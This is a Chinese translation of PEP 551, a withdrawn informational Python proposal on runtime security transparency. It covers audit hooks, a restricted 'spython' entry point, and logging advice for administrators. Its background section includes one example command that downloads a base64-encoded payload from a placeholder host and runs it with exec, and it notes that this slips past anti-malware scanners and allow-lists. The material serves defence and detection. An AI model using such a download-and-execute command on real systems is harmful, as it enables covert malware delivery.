Following system colour scheme - Python 增强提案 Selected dark colour scheme - Python 增强提案 Selected light colour scheme - Python 增强提案

Python 增强提案

PEP 551 – Python 运行时安全透明度

作者:
Steve Dower <steve.dower at python.org>
状态:
已撤回
类型:
信息
创建:
2017-08-23
Python 版本:
3.7
发布历史:
2017-08-24, 2017-08-28

目录

注意

此 PEP 已撤回。有关将 CPython 集成到安全环境中的信息,我们建议您咨询您自己的安全专家。

与 PEP 578 的关系

此 PEP 自最初发布以来已拆分为两个。

请参阅 PEP 578,了解为添加到下一个 Python 版本中而提出的审计 API。

这现在是一个信息性 PEP,为计划将 Python 集成到其安全或审计环境中的人员提供指导。

摘要

此 PEP 描述了安全透明度的概念及其在 Python 运行时中的应用。对运行时采取的操作的可见性对于将 Python 集成到其他安全和/或监控环境中至关重要。

PEP 578 中描述的审计钩子是检测、识别和分析 Python 误用的必要组成部分。虽然钩子本身是中立的(因为并非每个报告的事件本质上都是误用),但它们为负责监控整个系统或网络的人员提供了必要的上下文。有了足够的透明度,攻击者将无法再隐藏。

背景

软件漏洞通常被视为允许远程或提升代码执行的错误。但是,在我们现代互联世界中,更危险的漏洞是那些允许高级持续威胁 (APT) 的漏洞。当攻击者能够渗透网络,在其一台或多台机器上建立其软件,并随着时间的推移提取数据或情报时,就会实现 APT。一些 APT 可能通过恶意破坏数据(例如,WannaCrypt)或硬件(例如,Stuxnet)来表明自己。大多数试图隐藏其存在并避免检测。APT 通常结合使用传统漏洞、社会工程、网络钓鱼(或 spear-phishing)、彻底的网络分析以及对配置错误的环境的了解来建立自身并完成其工作。

第一个受感染的机器可能不是最终目标,也可能不需要特殊权限。例如,在开发人员机器上作为非管理员用户建立的 APT 可能能够通过正常的部署渠道传播到生产机器。APT 经常尽可能地保留在尽可能多的机器上,大量的存在使得它们难以完全删除。

无论攻击者是寻求造成直接伤害还是隐藏其踪迹,最大的检测障碍是缺乏洞察力。具有大型网络的系统管理员依靠分布式日志来了解其机器正在执行的操作,但日志通常经过筛选,只显示错误条件。试图避免检测的 APT 很少会生成错误或异常事件。审查正常运行日志需要大量的努力,尽管许多公司正在努力在操作日志中实现自动异常检测。攻击者偏爱的工具是那些已经安装在目标机器上的工具,因为来自这些工具的日志消息通常是预期的,在正常使用时被忽略。

在这一点上,我们不会花更多时间讨论 APT 的存在或不适用于此 PEP 的方法和缓解措施。有关该领域的更多信息,我们建议您阅读或观看进一步阅读下列出的资源。

Python 对于攻击者来说是一个特别有趣的工具,因为它在服务器和开发人员机器上的普及程度、它能够执行作为数据提供的任意代码(而不是本地二进制文件)以及它完全缺乏内部审计。这允许攻击者通过单一命令下载、解密和执行恶意代码

python -c "import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen('http://my-exploit/py.b64')
    ).decode())"

此命令目前绕过了大多数依赖于可识别代码通过网络连接读取或写入磁盘的反恶意软件扫描仪(base64 通常足以绕过这些检查)。它还绕过了诸如文件访问控制列表或权限(不发生文件访问)、批准的应用程序列表(假设 Python 已获准用于其他用途)以及自动审计或记录(假设 Python 被允许访问互联网或从本地网络上的另一台机器访问其有效负载)之类的保护。

安全社区普遍认为,完全防止攻击是不可行的,防御者应该假设他们通常只有在攻击成功后才能检测到攻击。这被称为“假设违规”心态。 [1] 在这种情况下,沙箱和输入验证之类的保护措施已经失败,重要的任务是检测、跟踪并最终删除恶意代码。为此,Python 需要的主要功能是安全透明度:能够看到 Python 运行时正在执行哪些操作,这些操作可能表明异常或恶意使用。防止此类使用很有价值,但次于需要了解它正在发生的事实。

为了总结目标按重要性递增的顺序

  • 防止恶意使用是有价值的
  • 检测恶意使用很重要
  • 检测绕过检测的尝试至关重要

PowerShell 是一个脚本引擎的例子,它已经解决了这些挑战,它最近针对类似的透明度和预防目标进行了增强。 [2]

通常,应用程序和系统配置将决定脚本引擎中哪些事件值得记录。但是,鉴于许多日志事件的价值直到攻击被检测到后才被识别,因此重要的是尽可能多地捕获并筛选视图,而不是在源头筛选(参见进一步阅读中的 No Easy Breach 视频)。始终感兴趣的事件包括绕过审计的尝试、尝试加载和执行未正确签名或访问控制的代码、使用不常见的操作系统功能(例如调试或进程间检查工具)、大多数网络访问和 DNS 解析以及尝试创建和隐藏本地机器上的文件或配置设置。

总之,防御者需要审计 Python 的特定使用情况,以检测异常或恶意使用。有了PEP 578,Python 运行时获得了提供此功能的能力。此 PEP 的目标是帮助系统管理员部署一个安全透明的 Python 版本,该版本可以与其现有的审计和保护系统集成。

在 Windows 上,一些可能通过 PEP 578 添加的钩子集成的特定功能包括

  • 脚本块日志记录 [3]
  • DeviceGuard [4]
  • AMSI [5]
  • 持久区域标识符 [6]
  • 事件跟踪(包括事件转发) [7]

在 Linux 上,一些可能集成的特定功能是

  • gnupg [8]
  • sd_journal [9]
  • OpenBSM [10]
  • syslog [11]
  • auditd [12]
  • SELinux 标签 [13]
  • 检查导入模块的执行位

在 macOS 上,一些可能集成的功能是

总的来说,能够在生产机器上启用这些特定于平台的功能对系统管理员非常有吸引力,并将使 Python 成为应用程序开发人员更值得信赖的依赖项。

真正的安全透明度无法仅通过 Python 本身完全实现。运行时可以审计尽可能多的事件,但除非审查和分析日志,否则没有价值。Python 可能会以安全的名义施加限制,但可用性可能会受到影响。不同的平台和环境将需要不同特定于平台的安全功能的实现,拥有完全定制其运行时资源的组织应该鼓励这样做。

总结建议

这些将在后面的部分中详细讨论,但在此处介绍是为了构建整体讨论。

系统管理员应该提供并使用一个替代入口点(除了 python.exepythonX.Y)以减少攻击面并安全地启用审计钩子。关于可以限制哪些内容的讨论在下面的 限制入口点 中。

系统管理员应该使用其操作系统提供的所有可用措施来防止对其 Python 安装进行修改,例如文件权限、访问控制列表和签名验证。

系统管理员应该记录所有内容并将日志尽可能快地收集到一个中心位置 - 避免将日志保留在外围机器上。

系统管理员应该优先考虑 _检测_ 误用而不是 _防止_ 误用。

限制入口点

一台机器上存在 Python 的主要漏洞之一是能够执行任意代码,而无需系统检测或验证。这变得更加容易,因为默认入口点(Windows 上的 python.exe 和其他平台上的 pythonX.Y)允许从命令行执行,从标准输入执行,并且默认情况下没有启用任何钩子。

我们的建议是生产机器应该使用修改后的入口点,而不是默认入口点。一旦超出开发环境,默认入口点提供的灵活性就很少需要。

在本节中,我们描述了一个假设的 spython 入口点(Windows 上的 spython.exe;其他平台上的 spythonX.Y),它提供了建议用于生产机器的安全透明度级别。相关示例实现展示了此处描述的许多功能,尽管为了避免平台特定代码而做出了一些让步。充分的实现本质上需要与平台特定安全功能进行一些集成。

官方发行版默认情况下不会包含任何 spython,但第三方发行版可能包含使用相同名称的适当修改后的入口点。

删除大多数命令行参数

spython 入口点要求将脚本文件作为第一个参数传递,并且不允许任何选项在它之前。 这可以防止从内存数据或非脚本文件(例如 pickle,可以使用 -m pickle 执行)执行任意代码。

选项 -B(不写入字节码)、-E(忽略环境变量)和 -s(无用户站点)被假定。

如果存在与进程具有相同完整路径且具有 .pth 后缀的文件(Windows 上为 spython._pth,Linux 上为 spythonX.Y._pth),则将使用它来初始化 sys.path,遵循当前描述的规则适用于 Windows

为了演示,spython 的示例实现还允许使用 -i 选项以交互模式启动。 这不推荐用于受限入口点。

记录审核事件

在初始化之前,spython 会设置一个审核钩子,将所有审核事件写入操作系统管理的日志文件。 在 Windows 上,这是事件跟踪功能,[7]_ 在其他平台上,它们会进入 syslog。[11]_ 日志会尽可能频繁地从机器上复制,以防止在攻击者试图清除本地日志或阻止合法访问机器时丢失信息。

审核钩子还会中止所有 sys.addaudithook 事件,阻止添加任何其他钩子。

日志钩子是用本机代码编写的,在解释器初始化之前进行配置。 这是确保没有 Python 代码在没有审核的情况下执行,以及 Python 代码无法阻止注册钩子的唯一机会。

我们的主要目标是记录所有 Python 进程执行的所有操作,以便可以离线针对记录的事件执行检测。 记录所有事件还可以进行更深入的分析和使用机器学习算法。 这些对于检测持久性攻击很有用,在持久性攻击中,攻击者打算在一段时间内留在受保护的机器中,以及在之后分析以确定攻击成功带来的影响和暴露。

spython 的示例实现会写入本地机器上的日志文件,以便演示。 使用 -i 启动时,示例实现会将所有审核事件写入标准错误而不是日志文件。 可以使用 SPYTHONLOG 环境变量来指定日志文件位置。

限制可导入模块

同样在初始化之前,spython 会设置一个开放导入钩子,它会验证使用 os.open_for_import 打开的所有文件。 此实现要求所有文件都具有 .py 后缀(防止使用缓存的字节码),并且会引发一个自定义审核事件 spython.open_for_import,其中包含 (filename, True_if_allowed)。

打开文件后,整个内容将以单个缓冲区读入内存,然后关闭文件。

编译稍后会触发一个 compile 事件,因此现在无需使用也适用于动态生成代码的机制来验证内容。 但是,如果有源文件或文件哈希的允许列表,则应在此处执行其他验证机制,例如 DeviceGuard。[4]

限制 pickle 中的全局变量

spython 入口点会中止所有使用默认实现的 pickle.find_class 事件。 覆盖不会引发审核事件,除非显式添加,因此它们将继续被允许。

阻止 os.system

spython 入口点会中止所有 os.system 调用。

这里需要注意的是,subprocess.Popen(shell=True) 是允许的(尽管通过特定于平台的进程创建事件记录)。 这种权衡之所以做出,是因为让运行的应用程序使用单个字符串参数调用 os.system 比使用具有多个参数的函数要简单得多,因此它更有可能用作漏洞利用的一部分。 使用 os.system 在生产代码中也没有什么理由,而 subprocess.Popen 有大量合法的用途。 虽然指示使用 shell=True 参数的日志应该更加仔细地审查。

鼓励系统管理员在限制和检测之间做出这种权衡,并且通常应该优先考虑检测。

一般建议

除了上一节中建议的建议之外,很难给出其他建议,因为任何环境的理想配置都取决于系统管理员在其自身网络上管理、监控和响应活动的能力。 尽管如此,我们仍将尝试在此提供一些将 Python 集成到完整系统中的上下文和指导。

本节使用术语 **应该**(或 **不应该**)提供建议,表明我们认为忽略建议有风险,而 **可能** 则表明对于建议应该考虑高价值系统。 术语 **系统管理员** 指的是负责在整个网络中部署 Python 的人;不同的组织可能对负责人有不同的称呼。

系统管理员 **应该** 构建自己的入口点,可能从 spython 源代码开始,并直接与他们环境中可用的安全系统交互。 集成得越紧密,攻击者发现允许他们绕过这些系统的漏洞的可能性就越小。 特别是,入口点 **不应该** 从当前环境中获取任何设置,例如环境变量,除非这些设置受到其他保护以防止修改。

审核消息 **不应该** 写入本地文件。 spython 入口点这样做是为了示例和测试目的。 在生产机器上,应使用专门用于此目的的工具,例如 ETW [7]_ 或 auditd [12]_。

默认的 python 入口点 **不应该** 部署到生产机器上,但可以提供给开发人员在非生产机器上使用和测试 Python。 系统管理员 **可能** 考虑在开发人员机器上部署其入口点的限制较少的版本,因为连接到您的网络的任何系统都是潜在目标。 系统管理员 **可能** 将其自己的入口点部署为 python,以掩盖包含额外审核的事实。

Python 部署 **应该** 在部署和使用期间使用任何可用的平台功能设置为只读。

在支持的平台上,系统管理员 **应该** 为 Python 部署中的每个文件包含签名,理想情况下使用私有证书进行验证。 例如,Windows 支持在可执行文件中嵌入签名并使用目录为其他文件签名,并且可以使用 DeviceGuard [4]_ 来自动或使用 open_for_import 钩子验证签名。

系统管理员 **应该** 记录尽可能多的审核事件,并且 **应该** 经常将日志复制到本地机器之外。 即使日志没有被持续监控以查找可疑活动,一旦检测到攻击,启用审核就为时已晚。 审核钩子 **不应该** 尝试抢先过滤事件,因为即使是良性事件在分析攻击进展时也很有用。(观看“No Easy Breach”视频,了解有关这方面的更多信息。)

如果在正常使用过程中可能发生任何操作,或者阻止它们会导致攻击者绕过它们,则 **不应该** 中止大多数操作。 如前所述,意识优先于预防。 系统管理员 **可能** 审核其 Python 代码并中止已知永远不会有意使用的操作。

审核钩子 **应该** 在尝试中止之前将事件写入日志。 如前所述,记录恶意操作比阻止它们更重要。

系统管理员 **应该** 识别事件之间的相关性,因为相关事件的更改可能表明使用不当。 例如,模块导入通常会触发 import 审核事件,随后是 open_for_import 调用,通常还有 compile 事件。 尝试绕过审核通常会抑制其中一些事件,但不会抑制所有事件。 因此,如果日志包含 import 事件但不包含 compile 事件,则可能需要进行调查。

第一个审核钩子 **应该** 在调用 Py_Initialize 之前在 C 代码中设置,并且该钩子 **应该** 无条件地中止 sys.addloghook 事件。 Python 接口主要用于测试和开发。

为了防止在非生产机器上添加审核钩子,入口点 **可能** 会添加一个审核钩子,该钩子会中止 sys.addloghook 事件,但除此之外什么也不做。

在生产机器上,一个非验证 open_for_import 钩子 **可能** 在调用 Py_Initialize 之前在 C 代码中设置。 这可以防止后面的代码覆盖钩子,但是,记录 setopenforexecutehandler 事件很有用,因为任何代码都不应该调用它。 建议至少使用 spython 中的示例 open_for_import 钩子实现。

由于 importlib 使用 open_for_import 很容易被猴子补丁绕过,因此**应该**使用审计钩子来检测类型对象上的属性更改。

不要做的事情

本节讨论一些我们明确**不**建议的常见或“明显好的”建议。这些建议从无用或错误的建议到在任何现实环境中都不可行的想法不等。

**不要**尝试在 Python 运行时内实现沙箱。在允许任意代码有限使用 Python 特性(例如 [14])方面,有很长的尝试历史,但没有取得普遍成功。最好的选择是在沙盒环境中运行不受限制的 Python,该环境至少具有虚拟机级隔离,或者完全阻止未经授权的代码启动。

**不要**依赖静态分析来验证使用前的不可信代码。最好的选择是预先授权可信代码,例如使用代码签名,并且如果无法识别已知恶意代码,则可以使用反恶意软件扫描程序。

**不要**使用审计钩子在不先记录事件的情况下中止操作。你会后悔不知道你的进程为什么消失了。

[待办事项 - 更多糟糕建议]

进一步阅读

重新定义恶意软件:当旧术语带来新威胁时
由 Aviv Raff 为 SecurityWeek 撰写,2014 年 1 月 29 日

本文及其链接的文章是对 APT 兴起以及与“传统”恶意软件的不同之处的概括。

http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats

网络攻击剖析
由 FireEye 提供,访问时间为 2017 年 8 月 23 日

对 APT 使用的技术以及一些相关白皮书的链接的总结。

https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html

自动流量日志分析:高级威胁防护的必备工具
由 Aviv Raff 为 SecurityWeek 撰写,2014 年 5 月 8 日

对详细日志和自动分析价值的概括。

http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection

没有简单的入侵:来自史诗级调查的挑战和经验教训
Matt Dunwoody 和 Nick Carr 在 2016 年 SchmooCon 上为 Mandiant 录制的视频

对检测和清除 APT 所用流程和工具的详细介绍。

https://archive.org/details/No_Easy_Breach

破坏国家黑客
NSA 的 Rob Joyce 在 2016 年 USENIX Enigma 上录制的视频

来自 NSA 定制访问行动主管的良好安全实践、能力和建议。

https://www.youtube.com/watch?v=bDJb8WOJYdA

参考文献

致谢

感谢所有参与帮助使 Python 运行时更安全以供生产使用,尤其是 James Powell 做了大量初始研究、分析和实现,Lee Holmes 为信息安全领域和 PowerShell 的响应提供了宝贵的见解,以及 Brett Cannon 为抑制和基础讨论。.


来源:https://github.com/python/peps/blob/main/peps/pep-0551.rst

上次修改时间:2023-09-09 17:39:29 GMT